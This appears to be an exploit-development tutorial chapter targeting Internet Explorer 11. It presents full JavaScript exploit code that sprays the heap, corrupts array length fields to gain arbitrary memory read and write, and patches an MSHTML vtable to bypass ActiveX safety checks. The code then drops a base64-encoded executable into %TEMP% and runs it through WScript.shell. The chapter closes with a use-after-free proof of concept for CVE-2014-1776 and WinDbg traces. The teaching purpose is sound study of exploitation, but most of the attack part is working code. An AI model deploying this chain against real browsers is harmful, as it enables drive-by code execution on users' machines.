Finding a UAF bug for IE 11 for this chapter was very hard because security researchers tend to omit important technical details in their articles. As a student of exploit development I wish I had access to such information.

Anyway, the UAF bug I found needs the following line:

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />

Unfortunately, when we’re emulating IE 9, Int32Arrays are not available, so the method we used for IE 10 (see article), although pretty general, is not applicable here. It’s time to look for another method!

Array

We saw how Arrays are laid out in memory in IE 10. Things are very similar in IE 11, but there’s an interesting difference. Let’s create an Array with the following simple code:

<html>
<head>
<script language="javascript">
  var a = new Array((0x10000 - 0x20)/4);
  for (var i = 0; i < a.length; ++i)
    a[i] = 0x123;
</script>
</head>
<body>
</body>
</html>

We saw that in IE 10 Arrays were created by calling jscript9!Js::JavascriptArray::NewInstance. Let’s put a breakpoint on it:

bp jscript9!Js::JavascriptArray::NewInstance

If we reload the page in IE 11 nothing happens. Let’s try with the constructor:

0:002> bc *
0:002> x jscript9!*javascriptarray::javascriptarray*
6f5c2480          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f5c7f42          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f4549ad          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f47e091          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
0:002> bm jscript9!*javascriptarray::javascriptarray*
  1: 6f5c2480          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  2: 6f5c7f42          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  3: 6f4549ad          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  4: 6f47e091          @!"jscript9!Js::JavascriptArray::JavascriptArray"

Here I got a weird error in WinDbg:

Breakpoint 1's offset expression evaluation failed.
Check for invalid symbols or bad syntax.
WaitForEvent failed
eax=00000000 ebx=00838e4c ecx=00000000 edx=00000000 esi=00839b10 edi=00000000
eip=7703fc92 esp=05d57350 ebp=05d573d0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!ZwUnmapViewOfSection+0x12:
7703fc92 83c404          add     esp,4

Let me know if you know why this happens. To avoid this error, you can set the 4 breakpoints by hand:

bp 6f5c2480
bp 6f5c7f42
bp 6f4549ad
bp 6f47e091

When we resume the execution and allow blocked content in IE, the second breakpoint is triggered and the stack trace is the following:

0:007> k 8
ChildEBP RetAddr  
0437bae0 6da6c0c8 jscript9!Js::JavascriptArray::JavascriptArray
0437baf4 6d9d6120 jscript9!Js::JavascriptNativeArray::JavascriptNativeArray+0x13
0437bb24 6da6bfc6 jscript9!Js::JavascriptArray::New<int,Js::JavascriptNativeIntArray>+0x112
0437bb34 6da6bf9c jscript9!Js::JavascriptLibrary::CreateNativeIntArray+0x1a
0437bbf0 6da6c13b jscript9!Js::JavascriptNativeIntArray::NewInstance+0x81    <--------------------
0437bff8 6d950aa3 jscript9!Js::InterpreterStackFrame::Process+0x48e0
0437c11c 04cd0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c128 6d94ceab 0x4cd0fe9

Let’s delete all the breakpoints and put a breakpoint on JavascriptNativeIntArray::NewInstance:

0:007> bc *
0:007> bp jscript9!Js::JavascriptNativeIntArray::NewInstance

Reload the page and when the breakpoint is triggered, press Shift+F11 to return from the call. EAX should now point to the JavascriptNativeIntArray object:

Image may be NSFW.
Clik here to view.
pic_56

It seems that the buffer for the Array has space for just 4 elements. Or maybe that 4 elements are the header for the buffer?  When the Array grows, a bigger buffer should be allocated and thus the pointer to the buffer in the Array object should change. So, let’s put a hardware breakpoint on the buf_addr field:

ba w4 @eax+14

When we resume the execution, the hardware breakpoint is triggered and the stack trace looks like this:

0:007> k 8
ChildEBP RetAddr  
0437bac0 6daf49a2 jscript9!Js::JavascriptArray::AllocateHead<int>+0x32
0437baf0 6daf4495 jscript9!Js::JavascriptArray::DirectSetItem_Full<int>+0x28d
0437bb44 6d94d9a3 jscript9!Js::JavascriptNativeIntArray::SetItem+0x187        <------------------------
0437bb70 03a860a6 jscript9!Js::CacheOperators::CachePropertyRead<1>+0x54
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c0c8 6da618a7 0x3a860a6
0437c104 6d950d93 jscript9!InterpreterThunkEmitter::GetNextThunk+0x4f
0437c128 6d94ceab jscript9!Js::FunctionBody::EnsureDynamicInterpreterThunk+0x77
0437c168 6d94d364 jscript9!Js::JavascriptFunction::CallFunction<1>+0x88

As we expected, the Array grows when elements are added through jscript9!Js::JavascriptNativeIntArray::SetItem. The new address of the buffer is 039e0010h. Now resume the execution, stop the execution again and have a look at the buffer at 039e0010h:

Image may be NSFW.
Clik here to view.
pic_57

As we can see, the integers 0x123 are written without any kind of encoding in the buffer. In IE 10 we would have had 0x247, i.e. 0x123*2 + 1. The only caveat is that the integers are signed. Let’s see what happens when we write to the Array a value bigger than the biggest positive integer number. Let’s spray the heap to find one of the buffers more easily:

<html>
<head>
<script language="javascript">
  var a = new Array();
  for (var i = 0; i < 0x1000; ++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = 0x123;
    a[i][0] = 0x80000000;
  }
</script>
</head>
<body>
</body>
</html>

In WinDbg, go to an address like 9000000h or use VMMap to determine a suitable address. This time you’ll see something familiar:

Image may be NSFW.
Clik here to view.
pic_58

This is the exact situation we had in IE 10: the numbers are encoded (2*N + 1) and first element, which should be the number 0x80000000, points to a JavascriptNumber object. Is there a way to write 0x80000000 directly? Yes: we need to find the negative number whose 2-complement representation is 0x80000000. This number is

-(0x100000000 - 0x80000000) = -0x80000000

Let’s try it:

<html>
<head>
<script language="javascript">
  CollectGarbage();
  var a = new Array();
  for (var i = 0; i < 0x1000; ++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = 0x123;
    a[i][0] = -0x80000000;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>

As you can see, we get exactly what we wanted:

Image may be NSFW.
Clik here to view.
pic_59

We can conclude that in IE 11 an Array stores 32-bit signed integers directly without any particular encoding. As soon as something different than a 32-bit signed integer is written into the Array, all the integers are encoded as 2*N + 1 just as in IE 10. This means that as long as we’re careful, we can use a normal Array as an Int32Array. This is important because, as we said in the section EmulateIE9, Int32Arrays won’t be available.

Reading/Writing beyond the end

In IE 10 the length of an Array appears both in the Array object and in the header of the Array buffer. Let’s see if things have changed in IE 11. Let’s use the following code:

<html>
<head>
<script language="javascript">
  var a = new Array((0x10000 - 0x20)/4);
  for (var i = 0; i < 7; ++i)
    a[i] = 0x123;  
 
  alert("Done");
</script>
</head>
<body>
</body>
</html>

To determine the address of the Array, we can use the following breakpoint:

bp jscript9!Js::JavascriptNativeIntArray::NewInstance+0x85 ".printf \"new Array: addr = 0x%p\\n\",eax;g"

Here’s a picture of the Array object and its buffer:

Image may be NSFW.
Clik here to view.
pic_60

Let’s use this code:

<html>
<head>
<script language="javascript">
  var array_len = (0x10000 - 0x20)/4;
  var a = new Array(array_len);
  for (var i = 0; i < 7; ++i)
    a[i] = 0x123;
 
  alert("Modify the array length");
 
  alert(a[array_len]);
</script>
</head>
<body>
</body>
</html>

We want to modify the Array length so that we can read and write beyond the real end of the Array. Let’s load the HTML page in IE and when the first alert message appears, go in WinDbg and overwrite the length field in the Array object with 0x20000000. When we close the alert box, a second alert box appears with the message undefined. This means that we couldn’t read beyond the end of the Array.

Now let’s try to modify the “Array actual length” field in the header of the Array buffer (from 7 to 0x20000000): same result.

Finally, modify the “Buffer length” field in the header of the Array buffer (from 0x3ff8 to 0x20000000): same result. But if we modify all the three length fields it works! Is it really necessary to modify all the three values by hand? An Array grow when we write at an index which is beyond the current length of the Array. If the buffer is too small, a big enough buffer is allocated. So what happens if we modify just the “Buffer length” field and then write at an index of the Array which is beyond the current length of the Array? If our logic doesn’t fail us, IE should grow the Array without touching the buffer because IE thinks that the buffer is big enough (but we know we faked its size). In other words, IE should update the other two length fields as a consequence of writing to the Array beyond the current end of the Array.

Let’s update our code:

<html>
<head>
<script language="javascript">
  var array_len = (0x10000 - 0x20)/4;
  var a = new Array(array_len);
  for (var i = 0; i < 7; ++i)
    a[i] = 0x123;
 
  alert("Modify the \"Buffer length\" field");
  a[array_len + 0x100] = 0;
  alert(a[array_len]);
</script>
</head>
<body>
</body>
</html>

We load the HTML page in IE and when the first alert box appears we modify the “Buffer length” field in the buffer header. Then we resume execution and close the alert box. IE might crash because we could overwrite something important after the end of the Array. In that case, repeat the whole process.

Now, when the second alert box appears, have another look at the Array object and at its buffer header:

Image may be NSFW.
Clik here to view.
pic_61

Perfect! Again, understand that if we hadn’t altered the “Buffer length” field of the buffer, a new buffer of length at least 0x40f9 would have been allocated, and we wouldn’t have got read/write access to memory beyond the end of the Array.

Whole address space read/write access

We want to acquire read/write access to the whole address space. To do so, we need to spray the heap with many Arrays, modify the “Buffer length” field in the buffer header of one Array, locate the modified Array and, finally, use it to modify all three length fields of another Array. We’ll use this second Array to read and write wherever we want.

Here’s the javascript code:

<html>
<head>
<script language="javascript">
  (function () {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4] = 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    alert("Done");
  })();
</script>
</head>
<body>
</body>
</html>

The header size for the buffer of an Array is 0x20 because there is a 0x10-byte heap allocation header and a 0x10-byte buffer header.

magic_addr is the address where the Array whose length we want to modify is located. Feel free to change that value.

To determine the index of the modified Array we consider each Array in order of allocation and try to modify the first element of the following Array. We can use a[i] to modify the first element of a[i+1] if and only if a[i] is the modified array and the buffer of a[i+1] is located right after the buffer of a[i] in memory. If a[i] is not the modified Array, its buffer will grow, i.e. a new buffer will be allocated. Note that if we determined that a[idx] is the modified Array, then it’s guaranteed that the buffer of a[idx+1] hasn’t been reallocated and is still located right after the buffer of a[idx].

Now we should be able to read/write in the address space [base_addr, 0xffffffff], but what about [0, base_addr]? That is, can we read/write before the buffer of a[idx+1]? Probably, IE assumes that the base addresses and the lengths of the Arrays are correct and so doesn’t check for overflows. Let’s say we want to read the dword at 0x400000. We know that base_addr is 0xc010000.

Let’s suppose that IE computes the address of the element to read as

base_addr + index*4 = 0xc010000 + index*4

without making sure that index*4 < 2^32 – base_addr. Then, we can determine the index to read the dword at 0x400000 as follows:

0xc010000 + index*4 = 0x400000 (mod 2^32)
index = (0x400000 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 0 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 2^32 - 0xc010000)/4 (mod 2^32)
index = 0x3d0fc000 (mod 2^32)

The notation

a = b (mod N)

means

a = b + k*N for some integer k.

For instance,

12 = 5 (mod 7)

because

12 = 5 + 1*7

Working with 32 bits in presence of overflows is like working in mod 2^32. For instance,

-5 = 0 - 5 = 2^32 - 5 = 0xfffffffb

because, in mod 2^32, 0 and 2^32 are equivalent (0 = 2^32 – 1*2^32).

To recap, if IE just checks that index < array_len (which is 0x3fffffff in our case) and doesn’t do any additional check on potential overflows, then we should be able to read and write in [0,0xffffffff]. Here’s the implementation of the functions read and write:

// Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }

    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }

    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }

We’ve already noted that Array contains signed 32-bit integers. Since I prefer to work with unsigned 32-bit integers, I perform some conversions between signed and unsigned integers.

But we haven’t checked if all this works yet! Here’s the full code:

<html>
<head>
<script language="javascript">
  (function () {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4] = 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }

    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }

    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    alert("Write a number at the address " + (base_addr - 0x10000).toString(16));
    var num = read(base_addr - 0x10000);
    alert("Did you write the number " + num.toString(16) + "?");
    
    alert("Done");
  })();
</script>
</head>
<body>
</body>
</html>

To check if everything works fine, follow the instructions. Try also to write a number >= 0x80000000 such as 0x87654321. Lucky for us, everything seems to be working just fine!

get_addr function

The get_addr function is very easy to write:

function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
 
    alert(get_addr(ActiveXObject).toString(16));

Note that we can’t assign obj to a[idx+1][0] because this would make IE crash. In fact, a[idx+1] would become a mix Array and IE would try to encode the dwords of the entire space address! We can’t use a[idx] for the same reason and we can’t use a[idx-1] or previous Arrays because their buffers were reallocated somewhere else (remember?). So, a[idx+2] seems like a good candidate.

God Mode

Now we need to port the God Mode from IE 10 to IE 11. Let’s start with the first few lines:

// At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000) - 0x3b60;
    
    .
    .
    .
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    alert(addr.toString(16));
    return;
    mshtml = read(addr + 0x10) - 0x58b9a;

When the alert box pops up, examine the memory at the indicated address and you should have all the information to fix the code. Here’s the fixed code:

// Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;

Now let’s analyze jscript9!ScriptSite::CreateActiveXObject, if still present. First of all, add this simple line of code:

new ActiveXObject("ADODB.Stream");

Then, load the page in IE and add a breakpoint on jscript9!ScriptSite::CreateActiveXObject. When the breakpoint is triggered, step through the code until you reach a call to CreateObjectFromProgID:

04c05a81 e84a000000      call    jscript9!ScriptSite::CreateObjectFromProgID (04c05ad0)

Step into it (F11) and then step until you reach CanCreateObject:

04c05b4c 8d45e8          lea     eax,[ebp-18h]
04c05b4f 50              push    eax
04c05b50 e86c020000      call    jscript9!ScriptEngine::CanCreateObject (04c05dc1)
04c05b55 85c0            test    eax,eax
04c05b57 0f84f4150400    je      jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)

Step into it (F11) and step until you get to the virtual call:

04c05df0 8d55f8          lea     edx,[ebp-8]
04c05df3 6a00            push    0
04c05df5 6a00            push    0
04c05df7 6a10            push    10h
04c05df9 ff7508          push    dword ptr [ebp+8]
04c05dfc 8b08            mov     ecx,dword ptr [eax]
04c05dfe 6a04            push    4
04c05e00 52              push    edx
04c05e01 6800120000      push    1200h
04c05e06 50              push    eax
04c05e07 ff5110          call    dword ptr [ecx+10h]  ds:002b:702bcda8={MSHTML!TearoffThunk4 (6f686f2b)}  <---------------
04c05e0a 85c0            test    eax,eax
04c05e0c 7811            js      jscript9!ScriptEngine::CanCreateObject+0x5e (04c05e1f)
04c05e0e f645f80f        test    byte ptr [ebp-8],0Fh
04c05e12 6a00            push    0
04c05e14 58              pop     eax
04c05e15 0f94c0          sete    al
04c05e18 5e              pop     esi
04c05e19 8be5            mov     esp,ebp
04c05e1b 5d              pop     ebp
04c05e1c c20400          ret     4

In IE 10 we went to great lengths to return from CanCreateObject with a non null EAX and a null EDI. But as we can see, in IE 11 there is no pop edi. Does it mean that we can just call the function epilog (which doesn’t use leave anymore, by the way)?

Let’s gather some useful information:

0:007> ln ecx
(702bcd98)   MSHTML!s_apfnPlainTearoffVtable   |  (702bd4a0)   MSHTML!GLSLFunctionInfo::s_info
Exact matches:
    MSHTML!s_apfnPlainTearoffVtable = <no type information>
0:007> ? 702bcd98-mshtml
Evaluate expression: 15453592 = 00ebcd98
0:007> ? 04c05e19-jscript9
Evaluate expression: 1400345 = 00155e19

Now let’s step out of CanCreateObject (Shift+F11):

04c05b50 e86c020000      call    jscript9!ScriptEngine::CanCreateObject (04c05dc1)
04c05b55 85c0            test    eax,eax      <----------------- we are here
04c05b57 0f84f4150400    je      jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)
04c05b5d 6a05            push    5
04c05b5f 58              pop     eax
04c05b60 85ff            test    edi,edi      <---------------- EDI must be 0
04c05b62 0f85fd351200    jne     jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61a58 (04d29165)

It seems that EDI must still be 0, but the difference is that now CanCreateObject doesn’t use EDI anymore and so we don’t need to clear it before returning from CanCreateObject. This is great news!

Let’s change EAX so that we can reach CanObjectRun, if it still exists:

r eax=1

Let’s keep stepping until we get to CanObjectRun and then step into it. After a while, we’ll reach a familiar virtual call:

04c05d2c 53              push    ebx
04c05d2d 6a18            push    18h
04c05d2f 52              push    edx
04c05d30 8d55cc          lea     edx,[ebp-34h]
04c05d33 895de8          mov     dword ptr [ebp-18h],ebx
04c05d36 8b08            mov     ecx,dword ptr [eax]
04c05d38 52              push    edx
04c05d39 8d55c0          lea     edx,[ebp-40h]
04c05d3c 52              push    edx
04c05d3d 68845dc004      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (04c05d84)
04c05d42 50              push    eax
04c05d43 ff5114          call    dword ptr [ecx+14h]  ds:002b:702bcdac={MSHTML!TearoffThunk5 (6f686efc)}  <---------------
04c05d46 85c0            test    eax,eax
04c05d48 0f889c341200    js      jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61add (04d291ea)
04c05d4e 8b45c0          mov     eax,dword ptr [ebp-40h]
04c05d51 6a03            push    3
04c05d53 5b              pop     ebx
04c05d54 85c0            test    eax,eax
04c05d56 740f            je      jscript9!ScriptEngine::CanObjectRun+0xaa (04c05d67)
04c05d58 837dcc04        cmp     dword ptr [ebp-34h],4
04c05d5c 7202            jb      jscript9!ScriptEngine::CanObjectRun+0xa3 (04c05d60)
04c05d5e 8b18            mov     ebx,dword ptr [eax]
04c05d60 50              push    eax
04c05d61 ff1518a0e704    call    dword ptr [jscript9!_imp__CoTaskMemFree (04e7a018)]
04c05d67 6a00            push    0
04c05d69 f6c30f          test    bl,0Fh
04c05d6c 58              pop     eax
04c05d6d 0f94c0          sete    al
04c05d70 8b4dfc          mov     ecx,dword ptr [ebp-4]
04c05d73 5f              pop     edi
04c05d74 5e              pop     esi
04c05d75 33cd            xor     ecx,ebp
04c05d77 5b              pop     ebx
04c05d78 e8b8b3eaff      call    jscript9!__security_check_cookie (04ab1135)
04c05d7d 8be5            mov     esp,ebp
04c05d7f 5d              pop     ebp
04c05d80 c20800          ret     8

If we call the epilog of the function like before, we’ll skip the call to jscript9!_imp__CoTaskMemFree, but that shouldn’t be a problem. ECX points to the same vftable referred to in CanCreateObject. Let’s compute the RVA of the epilog of CanObjectRun:

0:007> ? 04c05d7d-jscript9
Evaluate expression: 1400189 = 00155d7d

Now we’re ready to write the javascript code. Here’s the full code:

<html>
<head>
<script language="javascript">
  (function () {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4] = 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }

    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }

    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;
    
    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);

    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }

    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
    alert("Done");
  })();
</script>
</head>
<body>
</body>
</html>

I snipped runcalc. You can download the full code from here: code5.

Try the code and it should work just fine!

The UAF bug

We’ll be using a UAF bug I found here:

https://withgit.com/hdarwin89/codeengn-2014-ie-1day-case-study/tree/master

Here’s the POC:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script>
        window.onload = function (){
            var head = document.getElementById("haed")
            tmp = document.createElement("CVE-2014-1776")
            document.getElementById("vml").childNodes[0].appendChild(tmp)
            tmp.appendChild(head)
            tmp = head.offsetParent
            tmp.onpropertychange = function(){
                this["removeNode"](true)
                document.createElement("CVE-2014-1776").title = ""
            }
            head.firstChild.nextSibling.disabled = head
        }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>

Enable the flags HPA and UST for iexplore.exe in gflags:

Image may be NSFW.
Clik here to view.
pic_50

When we open the page in IE, IE will crash here:

MSHTML!CMarkup::IsConnectedToPrimaryMarkup:
0aa9a244 8b81a4000000    mov     eax,dword ptr [ecx+0A4h] ds:002b:12588c7c=????????   <------------ crash!
0aa9a24a 56              push    esi
0aa9a24b 85c0            test    eax,eax
0aa9a24d 0f848aaa0800    je      MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0x77 (0ab24cdd)
